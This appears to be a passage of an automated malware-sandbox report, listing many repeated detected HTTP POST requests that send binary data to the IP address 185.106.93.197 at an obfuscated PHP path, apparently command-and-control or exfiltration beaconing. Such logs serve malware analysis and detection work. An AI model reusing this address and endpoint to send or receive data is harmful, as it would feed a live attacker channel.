                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1832Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1832Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1832Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
